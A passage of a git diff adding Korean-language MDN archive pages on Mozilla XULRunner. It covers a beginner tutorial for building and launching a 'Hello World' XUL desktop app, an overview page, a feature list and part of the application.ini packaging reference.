+ <li><a href="ko/XUL_Tutorial/Open_and_Save_Dialogs">XUL Tutorial:Open and Save Dialogs</a></li>
+</ul>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Windows_and_menus_in_XULRunner" style="float: left;">« 이전</a><br></p>
+</div><p></p>
+<div class="originaldocinfo">
+ <h2 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C">원본 문서</h2>
+ <ul>
+  <li>저자: Mark Finkle</li>
+  <li>최종 수정일: October 2, 2006</li>
+ </ul>
+</div>
+<div class="noinclude">
+  </div>
diff --git a/files/ko/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html b/files/ko/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html
new file mode 100644
index 0000000000..2207ae7ae0
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html
@@ -0,0 +1,98 @@
+---
+title: Getting started with XULRunner
+slug: Archive/Mozilla/XULRunner/Getting_started_with_XULRunner
+tags:
+  - XUL
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner/Getting_started_with_XULRunner
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Windows_and_menus_in_XULRunner">다음  »</a></p>
+</div><p></p>
+<p>본 기사에서는 <a href="/ko/XULRunner" title="ko/XULRunner">XULRunner</a>를 이용하여 기본적인 데스크탑 응용프로그램을 개발해봄으로써 Mozilla 플랫폼에 대해 알아보겠습니다. Firefox, Thunderbird, 기타 다양한 응용프로그램들이 이 플랫폼을 이용하여 작성되었으며, 기본적인 응용 프로그램을 개발하기에 사용될 수 있을 만큼 충분히 안정적입니다.</p>
+<p>여러분이 XUL 기반의 데스크탑 응용 프로그램을 개발려고자 한다면, XULRunner를 설치해야 할 것입니다. 먼저 XULRunner를 설치한 후, 골격만 있는 프로그램을 실행해서 제대로 동작하는지 확인해 보겠습니다.</p>
+<h2 id="1.EB.8B.A8.EA.B3.84:_XULRunner_.EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C" name="1.EB.8B.A8.EA.B3.84:_XULRunner_.EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C">1단계: XULRunner 다운로드</h2>
+<p>여러분은 MDC의 메인 <a href="/ko/XULRunner" title="ko/XULRunner">XULRunner</a> 페이지에서 다운로드 링크를 찾을 수 있습니다.</p>
+<p>Windows 버전의 XULRunner는 인스톨러가 아니고 zip 파일로 제공됩니다. 개발자 입장에서는 내 장비에 압축을 해제하기만 하면 된다는 아이디어가 마음에 듭니다. Windwos 시스템을 건드릴 필요가 없을 것 같아서 좋습니다.</p>
+<p>Mac 버전의 경우는 표준 Mac OS X 인스톨러로 배포됩니다.</p>
+<h2 id="2.EB.8B.A8.EA.B3.84:_XULRunner_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0" name="2.EB.8B.A8.EA.B3.84:_XULRunner_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0">2단계: XULRunner 설치하기</h2>
+<p>Windows에서는 적당한 위치에 압축을 해제하세요. 나는 <code>C:\program files\xulrunner</code> 폴더를 새로 만들고 이곳에 압축을 풀었습니다. 지금까지는 꽤 간단합니다. Mac의 경우에는 그냥 인스톨러를 실행하면 <code>/Library/Frameworks</code> 디렉토리에 <code>XUL.Framework</code>로 설치되게 됩니다.</p>
+<p>이제 간단한 뼈대만 있는 간단한 응용 프로그램 껍데기를 만들 시간입니다. 괜찮다면 이 프로그램을 XUL 버전의 "Hello World"라고 하겠습니다. Google 검색을 해보면 <a class="external" href="http://blogs.acceleration.net/ryan/archive/2005/05/06/1073.aspx">괜찮은 자습서</a>를 발견할 수 있습니다. 읽어볼만 합니다. 자습서를 읽고서 나는 간단한 시작 응용 프로그램을 만들었습니다. 아래에 있는 내용들은 모두 Ryans의 자습서과 이곳 MDC에 있는 <a href="/ko/XULRunner" title="ko/XULRunner">XULRunner</a>에서도 볼 수 있는 내용들입니다.</p>
+<h2 id="3.EB.8B.A8.EA.B3.84:_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.ED.8F.B4.EB.8D.94_.EA.B5.AC.EC.A1.B0_.EC.83.9D.EC.84.B1" name="3.EB.8B.A8.EA.B3.84:_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.ED.8F.B4.EB.8D.94_.EA.B5.AC.EC.A1.B0_.EC.83.9D.EC.84.B1">3단계: 응용 프로그램 폴더 구조 생성</h2>
+<p>윈도우에서, 내 경우 루트 폴더를 <code>c:\program files\myapp</code>로 생성했지만, 아무곳이나 괜찮습니다. 다음은 하위 폴더 구조입니다.</p>
+<pre>/myapp
+  /chrome
+    /content
+      main.xul
+    chrome.manifest
+  /defaults
+    /preferences
+      prefs.js
+  application.ini
+</pre>
+<p>위의 폴더 구조에 4개의 파일 - <code>application.ini</code>, <code>chrome.manifest</code>, <code>prefs.js</code>, <code>main.xul</code> - 이 있다는 것을 명심하세요.</p>
+<h2 id="4.EB.8B.A8.EA.B3.84:_application.ini_.EC.84.A4.EC.A0.95" name="4.EB.8B.A8.EA.B3.84:_application.ini_.EC.84.A4.EC.A0.95">4단계: <code>application.ini</code> 설정</h2>
+<p><code><a href="/ko/XUL_Application_Packaging" title="ko/XUL_Application_Packaging">application.ini</a></code> 파일은 여러분이 작성하는 응용 프로그램에 대한 XULRunner의 시작점입니다. 이 파일에서는 여러분이 작성한 응용 프로그램이 XULRunner 플랫폼을 어떤 의도로 사용할 것인가를 제시하며, XULRunner가 응용 프로그램을 실행하는데 필요한 정보들에 대한 설정을 포함합니다. 제가 작성한 것은 다음과 같습니다.</p>
+<pre>[App]
+Vendor=Finkle
+Name=Test App
+Version=1.0
+BuildID=20060101
+Copyright=Copyright (c) 2006 Mark Finkle
+ID=xulapp@starkravingfinkle.org
+
+[Gecko]
+MinVersion=1.8
+MaxVersion=1.8
+</pre>
+<p><span class="comment">not really... You can find more information about the &lt;tt&gt;application.ini&lt;/tt&gt; file in the article <a href="/ko/XULRunner/Deploying_XULRunner_1.8">XULRunner:Deploying XULRunner 1.8</a>.</span></p>
+<p><em>주의:</em> 2007 nightly trunk XULRunner build에서 본 예제 프로그램을 실행시키기려면 MaxVersion을 1.9로 수정하세요.</p>
+<h2 id="5.EB.8B.A8.EA.B3.84:_Chrome_.EC.84.A0.EC.96.B8_.EC.84.A4.EC.A0.95" name="5.EB.8B.A8.EA.B3.84:_Chrome_.EC.84.A0.EC.96.B8_.EC.84.A4.EC.A0.95">5단계: Chrome 선언 설정</h2>
+<p><a href="/ko/Chrome_Registration" title="ko/Chrome_Registration">Chrome 선언</a> 파일은 응용 프로그램에 포함된 자원(resource)의 위치를 나타내기 위해 XULRunner가 사용하는 URI들을 정의합니다. 이는 "chrome://" URI가 사용되는 방법을 보면 잘 알 수 있습니다. 응용 프로그램 chrome은 하나 혹은 몇개의 JAR 파일로 구성되거나 또는 압축되지 않은 폴더와 파일로 구성될 수 있습니다. 여기서는 압축되지 않은 방법을 사용할 것입니다. 내가 작성한 선언 파일은 다음과 같습니다.</p>
+<pre class="eval"> content myapp file:content/
+</pre>
+<div class="note">주의: 응용 프로그램 이름은 소문자이고 3자 이상이어야 합니다.</div>
+<h2 id="6.EB.8B.A8.EA.B3.84:_.ED.99.98.EA.B2.BD_.EC.84.A4.EC.A0.95_.EA.B5.AC.EC.84.B1" name="6.EB.8B.A8.EA.B3.84:_.ED.99.98.EA.B2.BD_.EC.84.A4.EC.A0.95_.EA.B5.AC.EC.84.B1">6단계: 환경 설정 구성</h2>
+<p><code>prefs.js</code> 파일에는 XULRunner가 메인 윈도우로 사용할 XUL 파일명에 대한 정보가 포함되어 있습니다. 내 것은 다음과 같습니다.</p>
+<pre class="eval"> pref("toolkit.defaultChromeURI", "<a class=" external" rel="freelink">chrome://myapp/content/main.xul</a>");
+</pre>
+<p>XULRunner 환경 설정에는 다음과 같은 것들이 포함됩니다.</p>
+<dl> <dt><code><a href="/ko/Toolkit.defaultChromeURI" title="ko/Toolkit.defaultChromeURI">toolkit.defaultChromeURI</a></code></dt> <dd>응용 프로그램이 실행될 때 열릴 기본 윈도우를 지정합니다.</dd> <dt><code><a href="/ko/Toolkit.defaultChromeFeatures" title="ko/Toolkit.defaultChromeFeatures">toolkit.defaultChromeFeatures</a></code></dt> <dd>메인 윈도우가 열릴 때 <code><a href="/ko/Window.open" title="ko/Window.open">window.open()</a></code> 코드에 포함될 기능(feature)들을 지정합니다.</dd> <dt><code><a href="/ko/Toolkit.singletonWindowType" title="ko/Toolkit.singletonWindowType">toolkit.singletonWindowType</a></code></dt> <dd>응용 프로그램이 한번에 하나의 인스터스만을 가지도록 설정합니다.</dd>
+</dl>
+<p>이 내용들은 <a href="/ko/XULRunner/Specifying_Startup_Chrome_Window" title="ko/XULRunner/Specifying_Startup_Chrome_Window">XULRunner:Specifying Startup Chrome Window</a>에 좀 더 자세히 설명되어 있습니다.</p>
+<h2 id="7.EB.8B.A8.EA.B3.84:_XUL_.EB.A7.8C.EB.93.A4.EA.B8.B0" name="7.EB.8B.A8.EA.B3.84:_XUL_.EB.A7.8C.EB.93.A4.EA.B8.B0">7단계: XUL 만들기</h2>
+<p>마지막으로 간단한 XUL 윈도우를 만들어야 하는데, 이는 <code>main.xul</code> 파일에 잘 나와 있습니다. 여기 있는 내용은 특별한 건 없고 창을 만들기 위해 필요한 최소한의 것들만 포함되어 있습니다.</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="main" title="My App" width="300" height="300"
+xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+  &lt;caption label="Hello World"/&gt;
+&lt;/window&gt;
+</pre>
+<div class="note">주의: XML/XUL 파일의 맨 처음에 공백이 있으면 안됩니다.</div>
+<h2 id="8.EB.8B.A8.EA.B3.84:_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0" name="8.EB.8B.A8.EA.B3.84:_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0">8단계: 응용 프로그램 실행하기</h2>
+<p>결정적 순간입니다. 응용 프로그램을 실행하기 위해 XULRunner가 필요합니다. Windows의 명령창을 열고 <code>C:\program files\myapp</code> 폴더로 이동한 후 다음의 명령어를 실행하세요.</p>
+<pre class="eval"> xulrunner.exe application.ini
+</pre>
+<p>물론, xulrunner.exe는 <code>PATH</code>에 포함되어 있어야 합니다. xulrunner.exe가 경로에 포함되어 있지 않다면 다음과 같이 실행할 수 있습니다.</p>
+<pre class="eval"> ..\xulrunner\xulrunner.exe application.ini
+</pre>
+<p>Mac에서는 터미널 창을 열고 <code>myapp</code> 디렉토리로 이동한 후 다음과 같이 입력하시면 됩니다.</p>
+<pre class="eval"> /Library/Frameworks/XUL.framework/xulrunner-bin application.ini
+</pre>
+<p>여러분은 다음과 같이 생긴 창을 볼 수 있을 것입니다. 다음 화면은 Ubuntu에서의 화면입니다.</p>
+<p><img alt="Image:XULSampleMyapp.png" class=" internal" src="/@api/deki/files/2089/=XULSampleMyapp.png"></p>
+<h3 id=".EB.8B.A4.EB.A5.B8_.EB.B0.A9.EB.B2.95:_Firefox3_-app.EB.A5.BC_.EC.9D.B4.EC.9A.A9.ED.95.B4_XUL_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8.EC.9D.84_.EC.8B.A4.ED.96.89.EC.8B.9C.ED.82.A4.EA.B8.B0" name=".EB.8B.A4.EB.A5.B8_.EB.B0.A9.EB.B2.95:_Firefox3_-app.EB.A5.BC_.EC.9D.B4.EC.9A.A9.ED.95.B4_XUL_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8.EC.9D.84_.EC.8B.A4.ED.96.89.EC.8B.9C.ED.82.A4.EA.B8.B0">다른 방법: Firefox3 -app를 이용해 XUL 응용 프로그램을 실행시키기</h3>
+<p>Firefox 3에서는 커맨드 라인을 통해 브라우저 대신 XUL 응용 프로그램이 실행되도록 할 수 있습니다. 이는 XULRunner를 이용하여 XUL 응용 프로그램을 실행하는 것과 비슷합니다. <a href="/ko/XULRunner_tips#Using_Firefox_3_to_run_XULRunner_applications" title="ko/XULRunner_tips#Using_Firefox_3_to_run_XULRunner_applications">Firefox 3를 이용한 XULRunner 응용 프로그램 실행하기</a>를 참조하세요.</p>
+<p><a class="external" href="http://developer.mozilla.org/samples/xulrunner/myapp.zip">예제 프로젝트</a> 다운받기.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Windows_and_menus_in_XULRunner">다음  »</a></p>
+</div><p></p>
+<div class="originaldocinfo">
+<h2 id=".EC.9B.90.EB.B3.B8_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EC.A0.95.EB.B3.B4">원본 정보</h2>
+<ul> <li>저자: Mark Finkle</li> <li>최종 수정일: 2006년 10월 2일</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/ko/archive/mozilla/xulrunner/index.html b/files/ko/archive/mozilla/xulrunner/index.html
new file mode 100644
index 0000000000..8e736dc6f8
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/index.html
@@ -0,0 +1,26 @@
+---
+title: XULRunner
+slug: Archive/Mozilla/XULRunner
+tags:
+  - XUL
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner
+---
+<p> </p>
+<div class="callout-box"><strong><a href="/ko/Getting_started_with_XULRunner" title="ko/Getting_started_with_XULRunner"> XULRunner 입문서</a></strong><br>
+XULRunner에 대한 간단한 소개.</div>
+<div>
+<p><strong>XULRunner</strong>는 Mozilla 실행시 동작하는(runtime) 패키지로서 Firefox와 Thunderbird의 기능을 풍부하게 하는 XUL과 XPCOM을 불러오게(bootstrap)할 수 있습니다. XULRunner는 XUL 혹은 XPCOM 프로그램을 설치, 업그레이드 그리고 삭제할 수 있는 기능을 제공합니다. XULRunner는 또한 libxul을 지원하는데 이는 다른 프로젝트 혹은 프로그램에 Mozilla를 내장시킬 수 있게 하는 것입니다.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id=".EC.A0.9C.ED.92.88_.EC.86.8C.EA.B0.9C" name=".EC.A0.9C.ED.92.88_.EC.86.8C.EA.B0.9C">제품 소개</h4> <div class="note"> <p>XULRunner trunk (XULRunner 1.9)의 nightly builds는 <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">Mozilla FTP 사이트</a>에서 다운로드 받을 수 있습니다. 설치, 제거, 그 외 정보들은 <a href="/ko/XULRunner_1.8.0.4_Release_Notes" title="ko/XULRunner_1.8.0.4_Release_Notes">1.8 제품 소개서</a>를 읽어보세요.</p> <p>Firefox 3 beta에는 전용 XULRunner 패키지가 포함되어 있으며, 이를 이용해 다른 XULRunner 응용 프로그램을 실행할 수 있습니다.</p> <p><a href="/ko/XULRunner//Old_Releases" title="ko/XULRunner//Old_Releases">이전 빌드</a>들도 사용 가능합니다.</p> </div> <h4 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h4> <ul> <li><a class="wikimo" href="https://wiki.mozilla.org/XULRunner:Roadmap" title="개발 로드맵">개발 로드맵</a></li> <li><a href="/ko/XULRunner/What_XULRunner_Provides" title="ko/XULRunner/What_XULRunner_Provides">XULRunner가 제공하는 기능</a></li> <li><a href="/ko/XULRunner_FAQ" title="ko/XULRunner_FAQ">자주 하는 질문</a></li> <li>Nightly builds: <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">unstable-trunk</a></li> </ul> <h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"><a href="/Special:Tags?tag=XULRunner&amp;language=ko" title="Special:Tags?tag=XULRunner&amp;language=ko">문서</a></h4> <dl> <dt><a href="/Special:Tags?tag=XULRunner&amp;language=ko" title="Special:Tags?tag=XULRunner&amp;language=ko">모두 보기...</a></dt> </dl> <dl> <dt><a href="/ko/Getting_started_with_XULRunner" title="ko/Getting_started_with_XULRunner"> XULRunner 입문서</a></dt> <dd><small>XULRunner로 데스크탑 응용프로그램을 개발하는 간단한 자습서.</small></dd> </dl> <dl> <dt><a class="external" href="http://zenit.senecac.on.ca/wiki/index.php/XULRunner_Guide">XULRunner 가이드</a></dt> <dd><small>A fairly complete introduction and tutorial for XULRunner which collates much of the documentation found here.</small></dd> </dl> <dl> <dt><a class="external" href="http://blogs.acceleration.net/ryan/archive/2005/05/06/1073.aspx">XULRunner 배우기</a></dt> <dd><small>XULRunner에 관한 간단한 소개.</small></dd> </dl> <dl> <dt><a href="/ko/XULRunner_tips" title="ko/XULRunner_tips">XULRunner tips</a></dt> <dd><small>XULRunner를 사용하는 데 있어서의 팁 모음</small></dd> </dl> <dl> <dt><a href="/ko/XULRunner/Deploying_XULRunner_1.8" title="ko/XULRunner/Deploying_XULRunner_1.8">XULRunner 1.8 배포하기</a></dt> <dd><small>XULRunner 1.8는 현재 stable developer preview release 입니다. 이 문서는 단일형식(standalone)의 XUL 응용프로그램을 개발환경에서 배포하는데 XULRunner가 어떻게 사용되는가에 관한 내용입니다. </small></dd> </dl> <dl> <dt><a href="/ko/XULRunner_Hall_of_Fame" title="ko/XULRunner_Hall_of_Fame">XULRunner 명예의 전당</a></dt> <dd><small>XULRunner을 기반으로한 모든 응용프로그램들을 찾아보실 수 있습니다.</small></dd> </dl> <dl> <dt><a href="/ko/Build_Documentation" title="ko/Build_Documentation">Build Documentation</a></dt> <dd><small>소스를 가져와서 빌드하는 방법을 배울 수 있습니다.</small></dd> </dl> <dl> <dt><a href="/ko/Debugging_a_XULRunner_Application" title="ko/Debugging_a_XULRunner_Application">Debug Documentation</a></dt> <dd><small>여러분의 응용 프로그램을 디버그하기 위해 Venkman을 설정하는 방법</small></dd> </dl> </td> <td> <h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0">커뮤니티</h4> <ul> <li>Mozilla 포럼 보기...</li> </ul> <p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-platform"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.platform"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.platform/feeds"> 웹 Feed</a></li>
+</ul><p></p> <ul> <li><a class="link-irc" href="irc://irc.mozilla.org/#xulrunner">#xulrunner on irc.mozilla.org</a></li> <li><a href="/ko/XULRunner/Community" title="ko/XULRunner/Community">Other community links...</a></li> </ul> <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4> <dl> <dd><a href="/ko/XUL" title="ko/XUL">XUL</a></dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p></p>
diff --git a/files/ko/archive/mozilla/xulrunner/what_xulrunner_provides/index.html b/files/ko/archive/mozilla/xulrunner/what_xulrunner_provides/index.html
new file mode 100644
index 0000000000..c4b6c5ed6f
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/what_xulrunner_provides/index.html
@@ -0,0 +1,64 @@
+---
+title: What XULRunner Provides
+slug: Archive/Mozilla/XULRunner/What_XULRunner_Provides
+tags:
+  - XUL
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner/What_XULRunner_Provides
+---
+<p> </p>
+<p><a href="/ko/XULRunner" title="ko/XULRunner">XULRunner</a>의 목적은 XUL 어플리케이션(주요하게 파이어폭스와 썬더버드)을 구축하기 위한 방안 뿐만 아니라 내장 기법을 제공하는 것입니다. 다음 특징이 이미 구현되어 있거나 계획되어 있습니다.</p>
+<p> </p>
+<h3 id="Gecko_Features" name="Gecko_Features">Gecko Features</h3>
+<ul>
+ <li><a href="/ko/XPCOM" title="ko/XPCOM">XPCOM</a></li>
+ <li>네트워킹</li>
+ <li>Gecko 렌더링 엔진</li>
+ <li>DOM 편집과 트랜잭션 지원 (no UI)</li>
+ <li>암호화</li>
+ <li><a href="/ko/XBL" title="ko/XBL">XBL</a> (XBL2 계획됨)</li>
+ <li><a href="/ko/XUL" title="ko/XUL">XUL</a></li>
+ <li><a href="/ko/SVG" title="ko/SVG">SVG</a></li>
+ <li><a href="/ko/XSLT" title="ko/XSLT">XSLT</a></li>
+ <li>XML Extras (<code><a href="/ko/XMLHttpRequest" title="ko/XMLHttpRequest">XMLHttpRequest</a></code>, <code><a href="/ko/DOMParser" title="ko/DOMParser">DOMParser</a></code>, etc.)</li>
+ <li>웹서비스 (SOAP)</li>
+ <li>자동 업데이트 지원 <em>(아직 완성 안됨)</em></li>
+ <li>Type ahead find toolbar</li>
+ <li>히스토리 구현 (the places implementation in the 1.9 cycle)</li>
+ <li>Accessibility 지원</li>
+ <li>gecko 기반 어플리케이션 간의 IPC 서비스 <em>(아직 완성 안됨)</em></li>
+ <li><a href="/ko/Storage" title="ko/Storage">Storage</a>/sqlite interfaces <em>(기본으로 활성화되지 않음)</em></li>
+</ul>
+<h3 id=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_Features" name=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_Features">사용자 인터페이스 Features</h3>
+<p>XULRunner는 다음과 같은 사용자 인터페이스를 제공하며, 특정 조건하에 XULRunner기반 어플리케이션에서 사용하게 됩니다.</p>
+<ul>
+ <li>XUL 어플리케이션을 설치 및 제거하고 업그레이드하는데 필요한 API와 사용자 인터페이스를 제공합니다. 더 많은 정보는 <a class="wikimo" href="https://wiki.mozilla.org/XUL:Installation_Story" title="wikimo:XUL:Installation Story">wikimo:XUL:Installation Story</a>를 보세요.</li>
+ <li>Extension Manager</li>
+ <li>File picker (uses native OS filepicker as appropriate)</li>
+ <li>Find toolbar</li>
+ <li>Helper app dialog/UI</li>
+ <li>Security UI (maintenance of SSL keychains, etc)</li>
+</ul>
+<h3 id="Embedding_APIs" name="Embedding_APIs">Embedding APIs</h3>
+<p>XULRunner는 다음과 같은 임베딩 API를 제공합니다.</p>
+<ul>
+ <li>크로스 플랫폼 임베딩(Cross-platform embedding) (XRE_InitEmbedding)</li>
+ <li><a href="/ko/JavaXPCOM" title="ko/JavaXPCOM">JavaXPCOM</a> 임베딩</li>
+ <li>gtkmozembed (리눅스 only)</li>
+ <li>ActiveX 콘트롤 (윈도즈 only) <em>(아직 완성 안됨)</em></li>
+ <li>NSView 기반 위젯 (Mac OS X only) <em>(아직 완성 안됨)</em></li>
+</ul>
+<h3 id="The_.22Maybe.22_List" name="The_.22Maybe.22_List">The "Maybe" List</h3>
+<p>다음 기능은 이미 논의되어왔고 향후 추가될 예정입니다.</p>
+<ul>
+ <li>LDAP 지원</li>
+ <li>Spellchecking 지원 (사전 제공 또는 제공없이) <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=285977">bug 285977</a>참고</li>
+ <li>프로파일 로밍을 위한 코어 지원(with application-specific extensibility)</li>
+ <li><a href="/ko/PyXPCOM" title="ko/PyXPCOM">PyXPCOM</a> 임베딩 <em>(아직 완성 안됨)</em></li>
+</ul>
+<h3 id="What.27s_out" name="What.27s_out">What's out</h3>
+<p>다음과 같은 기능은 제공하지 않습니다.</p>
+<ul>
+ <li>북마크 또는 히스토리 UI (애플리케이션에 의해 관리되어야함)</li>
+ <li>XForms (XForms은 확장으로 제공됨)</li>
+</ul>
diff --git a/files/ko/archive/mozilla/xulrunner/xul_application_packaging/index.html b/files/ko/archive/mozilla/xulrunner/xul_application_packaging/index.html
new file mode 100644
index 0000000000..498bee239e
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/xul_application_packaging/index.html
@@ -0,0 +1,107 @@
+---
+title: XUL Application Packaging
+slug: Archive/Mozilla/XULRunner/XUL_Application_Packaging
+tags:
+  - XUL
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner/XUL_Application_Packaging
+---
+<p><a href="ko/XULRunner">XULRunner</a> 응용프로그램 꾸러미(package)는 (Firefox 확장 기능처럼) 표준 <a href="ko/Bundles">toolkit 묶음</a>인데, 응용프로그램 기술을 돕는 추가 manifest 파일(&lt;tt&gt;application.ini&lt;/tt&gt;)을 하나 갖습니다. XUL 응용프로그램 꾸러미는 대체로 ZIP으로 압축되며 확장자는 .xulapp나 .xpi입니다. XULRunner 명령줄 flag "-install-app"로 설치할 수 있습니다(<a href="ko/XULRunner_1.8.0.4_Release_Notes">XULRunner 1.8.0.4 출시 노트</a> 참조).</p>
+<h3 id="application.ini" name="application.ini">application.ini</h3>
+<p>&lt;tt&gt;application.ini&lt;/tt&gt; manifest는 확장기능의 루트에 위치하고 XULRunner가 바르게 응용프로그램을 띄우게 하는 메타데이터(metadata)를 제공합니다. 파일은 &lt;tt&gt;[Headings]&lt;/tt&gt;와 &lt;tt&gt;Key=Value&lt;/tt&gt; 쌍을 갖는 Windows 방식 INI 파일로 분석됩니다. &lt;tt&gt;;&lt;/tt&gt;이나 &lt;tt&gt;#&lt;/tt&gt;으로 시작하는 줄은 주석으로 여깁니다.</p>
+<p>본보기 application.ini 파일은 <a href="https://dxr.mozilla.org/mozilla-central/source/xulrunner/examples/simple/application.ini" rel="custom">mozilla source tree</a>에 있습니다.</p>
+<h4 id=".5BApp.5D_.EC.A0.88" name=".5BApp.5D_.EC.A0.88">[App] 절</h4>
+<p>&lt;tt&gt;App&lt;/tt&gt; 절(section)은 응용프로그램에 관한 메타데이터를 지정합니다.</p>
+<p> </p>
+<dl>
+ <dt>
+  Name</dt>
+ <dd>
+  응용프로그램 이름을 지정합니다.<br>
+  필수.<br>
+  보기: &lt;tt&gt;Name=TestApplication&lt;/tt&gt;
+  <p> </p>
+ </dd>
+ <dt>
+  Version</dt>
+ <dd>
+  응용프로그램 판 번호를 지정합니다.<br>
+  필수.<br>
+  판 번호 매김 세부 사항은 <a href="ko/Toolkit_version_format">Toolkit 판 구성</a> 참조.<br>
+  보기: &lt;tt&gt;Version=0.1&lt;/tt&gt;
+  <p> </p>
+ </dd>
+ <dt>
+  BuildID</dt>
+ <dd>
+  유일한 build 식별자(identifier)를 지정합니다. 이는 대체로 날짜 식별자이고 매 응용프로그램 출시 때마다 달라야 합니다.<br>
+  필수.<br>
+  보기: &lt;tt&gt;BuildID=20060201&lt;/tt&gt;
+  <p> </p>
+ </dd>
+ <dt>
+  ID</dt>
+ <dd>
+  유일한 응용프로그램 ID를 지정합니다.<br>
+  필수.<br>
+  응용프로그램 ID는, <a href="ko/Install_Manifests#id">확장 기능 ID</a>와 같이, email &lt;tt&gt;<a class="link-mailto" href="mailto:ApplicationName@vendor.tld" rel="freelink">ApplicationName@vendor.tld</a>&lt;/tt&gt;이나 UUID &lt;tt&gt;{12345678-1234-1234-1234-123456789abc}&lt;/tt&gt; 형식 중 하나처럼 구성할 수 있습니다. 새로 개발된 응용프로그램은 email 형식을 권장합니다.<br>
+  보기: &lt;tt&gt;<a class="link-mailto" href="mailto:ID=TestApplication@example.tld" rel="freelink">ID=TestApplication@example.tld</a>&lt;/tt&gt;
+  <p> </p>
+ </dd>
+ <dt>
+  Vendor</dt>
+ <dd>
+  응용프로그램 vendor를 지정합니다.<br>
+  선택.<br>
+  보기: &lt;tt&gt;Vendor=Grinch Productions&lt;/tt&gt;
+  <p> </p>
+ </dd>
+</dl>
+<h4 id=".5BGecko.5D_.EC.A0.88" name=".5BGecko.5D_.EC.A0.88">[Gecko] 절</h4>
+<p>&lt;tt&gt;Gecko&lt;/tt&gt; 절은 응용프로그램에 필요한 XULRunner 판을 지정합니다.</p>
+<p> </p>
+<p> </p>
+<dl>
+ <dt>
+  MinVersion</dt>
+ <dd>
+  이 응용프로그램에 필요한 XULRunner 최소판을 지정합니다.<br>
+  필수.<br>
+  보기: &lt;tt&gt;MinVersion=1.8&lt;/tt&gt;
+  <p> </p>
+ </dd>
+ <dt>
+  MaxVersion</dt>
+ <dd>
+  이 응용프로그램에 필요한 XULRunner 최대판을 지정합니다.<br>
+  선택 - 기본값은 XULRunner 2판보다 작은 판입니다.<br>
+  보기: &lt;tt&gt;MaxVersion=1.8.0.*&lt;/tt&gt;
+  <p> </p>
+ </dd>
+</dl>
+<h4 id=".5BXRE.5D_.EC.A0.88" name=".5BXRE.5D_.EC.A0.88">[XRE] 절</h4>
+<p>&lt;tt&gt;XRE&lt;/tt&gt; 절은 사용할 수 있는 다양한 XULRunner 시동 기능들을 지정합니다.</p>
+<p> </p>
+<p> </p>
+<dl>
+ <dt id="em">
+  EnableExtensionManager</dt>
+ <dd>
+  확장 기능과 확장 기능 관리를 사용 여부를 지정합니다. 맞는 값은 1과 0입니다.<br>
+  선택 - 기본값은 0입니다.<br>
+  주의: 이 옵션은 확장 기능/테마 관리자를 UI에서 이용할 수 있게 하는 메뉴 항목을 추가하지 않습니다; 그 일은 응용프로그램 제작자 몫입니다.<br>
+  보기: &lt;tt&gt;EnableExtensionManager=1&lt;/tt&gt;
+  <p> </p>
+ </dd>
